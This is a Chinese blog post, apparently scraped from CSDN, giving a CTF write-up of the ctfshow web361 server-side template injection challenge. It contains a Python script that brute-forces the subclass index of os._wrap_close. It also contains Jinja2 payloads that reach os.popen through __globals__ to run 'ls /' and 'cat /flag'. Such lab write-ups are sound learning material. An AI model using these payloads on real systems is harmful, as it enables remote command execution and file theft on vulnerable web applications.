当前位置:网站首页>ctfshow-web361(SSTI)
ctfshow-web361(SSTI)
2022-04-23 18:29:00 【m0_62094846】

看到Hello,猜测输入的参数是name


?name={
{[].__class__.__base__.__subclasses__()}}
然后应该是要写脚本跑程序找需要的函数(用的别人的,现在还不会写python脚本)
这里利用os._wrap_close类
import requests
from tqdm import tqdm
for i in tqdm(range(233)):
url = 'http://5e2ef65c-fcb3-4ca5-9502-acab1d21ebc8.challenge.ctf.show/?name={
{%22%22.__class__.__bases__[0].__subclasses__()['+str(i)+']}}'
r = requests.get(url=url).text
if('os._wrap_close' in r):
print(i)
输出132

然后开始运用
用__init__.__globals__查找popen(能查到就行,不需要位置)
__globals__:
该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用__globals__属性访问全局的变量

所以 __init__.__globals__应该就是要调用全局变量
?name={
{[].__class__.__base__.__subclasses__()[132].__init__.__globals__}}

这里应该就是调用全局变量中的popen
os.popen() 方法用于从一个命令打开一个管道。(具体的不是很理解,大概应该就是可以使用命令的意思)
popen方法通过p.read()获取终端输出
?name={
{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']}}

对于借助 open() 函数,并以可读模式(包括 r、r+、rb、rb+)打开的文件,可以调用 read() 函数逐个字节(或者逐个字符)读取文件中的内容。 (可能popen借助了open()函数,不是很清楚)
?name={
{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}

?name={
{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

大概能看懂,知道为什么,但是不会用
版权声明
本文为[m0_62094846]所创,转载请带上原文链接,感谢
https://blog.csdn.net/m0_62094846/article/details/124347670
边栏推荐
- QT error: no matching member function for call to ‘connect‘
- Robocode tutorial 5 - enemy class
- Crawl lottery data
- Implement a simple function to calculate the sum of all integers between M ~ n (m < n)
- 函数递归以及趣味问题的解决
- Rust: shared variable in thread pool
- Ionic instruction set order from creation to packaging
- Log4j2 cross thread print traceid
- 登录和发布文章功能测试
- Pointers in rust: box, RC, cell, refcell
猜你喜欢

QT reading and writing XML files (including source code + comments)

Dynamically add default fusing rules to feign client based on sentinel + Nacos

使用 bitnami/postgresql-repmgr 镜像快速设置 PostgreSQL HA

Differences between SSD hard disk SATA interface and m.2 interface (detailed summary)

Docker 安裝 Redis

Win1远程出现“这可能是由于credssp加密oracle修正”解决办法

STM32 learning record 0008 - GPIO things 1

【ACM】455. Distribute Biscuits (1. Give priority to big biscuits to big appetite; 2. Traverse two arrays with only one for loop (use subscript index -- to traverse another array))

【ACM】376. Swing sequence

Use of regular expressions in QT
随机推荐
Rust: shared variable in thread pool
【ACM】455. 分发饼干(1. 大饼干优先喂给大胃口;2. 遍历两个数组可以只用一个for循环(用下标索引--来遍历另一个数组))
Ucosiii transplantation and use, reference punctual atom
Solution to Chinese garbled code after reg file is imported into the registry
硬核解析Promise對象(這七個必會的常用API和七個關鍵問題你都了解嗎?)
Kettle paoding jieniu Chapter 17 text file output
Daily network security certification test questions (April 18, 2022)
Pyppeter crawler
Robocode tutorial 8 - advanced robot
Can filter
Introduction to QT programming
WiFi ap6212 driver transplantation and debugging analysis technical notes
SQL database syntax learning notes
Docker 安裝 Redis
Quantexa CDI(场景决策智能)Syneo平台介绍
Correct opening method of option
Implement a simple function to calculate the sum of all integers between M ~ n (m < n)
Cygwin64 right click to add menu, and open cygwin64 here
JD freefuck Jingdong HaoMao control panel background Command Execution Vulnerability
Daily CISSP certification common mistakes (April 18, 2022)